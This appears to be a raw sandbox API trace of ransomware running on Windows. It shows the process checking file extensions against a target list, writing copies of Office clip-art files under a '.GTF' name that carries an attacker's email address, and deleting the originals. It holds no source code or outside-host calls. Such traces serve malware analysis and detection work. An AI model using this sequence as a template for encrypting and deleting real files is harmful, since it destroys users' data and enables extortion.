	[0178.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0178.872] lstrlenW (lpString=".jpg") returned 4
	[0178.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.873] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.873] lstrlenW (lpString="J0153516.WMF") returned 12
	[0178.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.078] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=7432) returned 1
	[0179.079] CloseHandle (hObject=0x540) returned 1
	[0179.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 0x220
	[0179.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.079] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.080] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.082] GetLastError () returned 0x0
	[0179.082] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1d08, lpOverlapped=0x0) returned 1
	[0179.139] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1d10, lpOverlapped=0x0) returned 1
	[0179.140] ReadFile (in: hFile=0x540, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.140] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.141] SetEndOfFile (hFile=0x558) returned 1
	[0179.141] CloseHandle (hObject=0x558) returned 1
	[0179.141] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.141] SetEndOfFile (hFile=0x540) returned 1
	[0179.143] CloseHandle (hObject=0x540) returned 1
	[0179.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 1
	[0179.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.638] lstrlenW (lpString=".doc") returned 4
	[0179.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.638] lstrlenW (lpString=".docx") returned 5
	[0179.638] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.638] lstrlenW (lpString=".pdf") returned 4
	[0179.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.638] lstrlenW (lpString=".xls") returned 4
	[0179.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.638] lstrlenW (lpString=".xlsx") returned 5
	[0179.638] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.638] lstrlenW (lpString=".ppt") returned 4
	[0179.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.639] lstrlenW (lpString=".zip") returned 4
	[0179.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.639] lstrlenW (lpString=".rar") returned 4
	[0179.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString=".bz2") returned 4
	[0179.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString=".7z") returned 3
	[0179.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.639] lstrlenW (lpString=".dbf") returned 4
	[0179.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.639] lstrlenW (lpString=".1cd") returned 4
	[0179.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.639] lstrlenW (lpString=".jpg") returned 4
	[0179.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.639] lstrlenW (lpString=".doc") returned 4
	[0179.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString=".docx") returned 5
	[0179.639] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.639] lstrlenW (lpString=".pdf") returned 4
	[0179.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString=".xls") returned 4
	[0179.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.639] lstrlenW (lpString=".xlsx") returned 5
	[0179.639] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.639] lstrlenW (lpString=".ppt") returned 4
	[0179.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.639] lstrlenW (lpString=".zip") returned 4
	[0179.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.640] lstrlenW (lpString=".rar") returned 4
	[0179.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.640] lstrlenW (lpString=".bz2") returned 4
	[0179.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.640] lstrlenW (lpString=".7z") returned 3
	[0179.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.640] lstrlenW (lpString=".dbf") returned 4
	[0179.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.640] lstrlenW (lpString=".1cd") returned 4
	[0179.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0179.640] lstrlenW (lpString=".jpg") returned 4
	[0179.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.640] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0179.640] lstrlenW (lpString="J0164153.JPG") returned 12
	[0179.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0179.781] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=46484) returned 1
	[0179.781] CloseHandle (hObject=0x554) returned 1
	[0179.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 0x220
	[0179.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0179.781] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.781] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0179.782] GetLastError () returned 0x0
	[0179.782] ReadFile (in: hFile=0x554, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xb594, lpOverlapped=0x0) returned 1
	[0179.788] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xb5a0, lpOverlapped=0x0) returned 1
	[0179.790] ReadFile (in: hFile=0x554, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.790] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.790] SetEndOfFile (hFile=0x52c) returned 1
	[0179.790] CloseHandle (hObject=0x52c) returned 1
	[0179.790] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.790] SetEndOfFile (hFile=0x554) returned 1
	[0179.793] CloseHandle (hObject=0x554) returned 1
	[0179.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 1
	[0179.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.794] lstrlenW (lpString=".doc") returned 4
	[0179.794] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0179.794] lstrlenW (lpString=".docx") returned 5
	[0179.794] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0179.794] lstrlenW (lpString=".pdf") returned 4
	[0179.794] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0179.794] lstrlenW (lpString=".xls") returned 4
	[0179.794] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0179.794] lstrlenW (lpString=".xlsx") returned 5
	[0179.794] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0179.795] lstrlenW (lpString=".ppt") returned 4
	[0179.795] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0179.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.795] lstrlenW (lpString=".zip") returned 4
	[0179.795] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0179.795] lstrlenW (lpString=".rar") returned 4
	[0179.795] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0179.795] lstrlenW (lpString=".bz2") returned 4
	[0179.795] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0179.795] lstrlenW (lpString=".7z") returned 3
	[0179.795] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0179.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.795] lstrlenW (lpString=".dbf") returned 4
	[0179.795] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0179.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.795] lstrlenW (lpString=".1cd") returned 4
	[0179.795] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0179.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.795] lstrlenW (lpString=".jpg") returned 4
	[0179.795] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0179.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.795] lstrlenW (lpString=".doc") returned 4
	[0179.795] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0179.795] lstrlenW (lpString=".docx") returned 5
	[0179.795] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0179.795] lstrlenW (lpString=".pdf") returned 4
	[0179.795] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0179.795] lstrlenW (lpString=".xls") returned 4
	[0179.795] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0179.795] lstrlenW (lpString=".xlsx") returned 5
	[0179.795] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0179.795] lstrlenW (lpString=".ppt") returned 4
	[0179.795] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0179.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.795] lstrlenW (lpString=".zip") returned 4
	[0179.795] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0179.796] lstrlenW (lpString=".rar") returned 4
	[0179.796] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0179.796] lstrlenW (lpString=".bz2") returned 4
	[0179.796] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0179.796] lstrlenW (lpString=".7z") returned 3
	[0179.796] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0179.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.796] lstrlenW (lpString=".dbf") returned 4
	[0179.796] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0179.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.796] lstrlenW (lpString=".1cd") returned 4
	[0179.796] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0179.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68
	[0179.796] lstrlenW (lpString=".jpg") returned 4
	[0179.796] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0179.796] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.796] lstrlenW (lpString="J0172035.WMF") returned 12
	[0179.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0179.797] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=7448) returned 1
	[0179.797] CloseHandle (hObject=0x554) returned 1
	[0179.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 0x220
	[0179.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0179.797] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.797] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0179.798] GetLastError () returned 0x0
	[0179.798] ReadFile (in: hFile=0x554, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1d18, lpOverlapped=0x0) returned 1
	[0179.804] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1d20, lpOverlapped=0x0) returned 1
	[0179.805] ReadFile (in: hFile=0x554, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.805] WriteFile (in: hFile=0x52c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.805] SetEndOfFile (hFile=0x52c) returned 1
	[0179.810] CloseHandle (hObject=0x52c) returned 1
	[0179.811] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.811] SetEndOfFile (hFile=0x554) returned 1
	[0179.978] CloseHandle (hObject=0x554) returned 1
	[0179.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 1
	[0180.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.137] lstrlenW (lpString=".doc") returned 4
	[0180.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.137] lstrlenW (lpString=".docx") returned 5
	[0180.137] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.137] lstrlenW (lpString=".pdf") returned 4
	[0180.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.148] lstrlenW (lpString=".xls") returned 4
	[0180.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.148] lstrlenW (lpString=".xlsx") returned 5
	[0180.148] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.148] lstrlenW (lpString=".ppt") returned 4
	[0180.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.148] lstrlenW (lpString=".zip") returned 4
	[0180.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.149] lstrlenW (lpString=".rar") returned 4
	[0180.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString=".bz2") returned 4
	[0180.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString=".7z") returned 3
	[0180.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.149] lstrlenW (lpString=".dbf") returned 4
	[0180.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.149] lstrlenW (lpString=".1cd") returned 4
	[0180.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.149] lstrlenW (lpString=".jpg") returned 4
	[0180.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.149] lstrlenW (lpString=".doc") returned 4
	[0180.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString=".docx") returned 5
	[0180.149] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.149] lstrlenW (lpString=".pdf") returned 4
	[0180.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString=".xls") returned 4
	[0180.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.149] lstrlenW (lpString=".xlsx") returned 5
	[0180.149] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.149] lstrlenW (lpString=".ppt") returned 4
	[0180.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.149] lstrlenW (lpString=".zip") returned 4
	[0180.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.149] lstrlenW (lpString=".rar") returned 4
	[0180.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.150] lstrlenW (lpString=".bz2") returned 4
	[0180.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.150] lstrlenW (lpString=".7z") returned 3
	[0180.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.150] lstrlenW (lpString=".dbf") returned 4
	[0180.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68
	[0180.150] lstrlenW (lpString=".1cd") returned 4
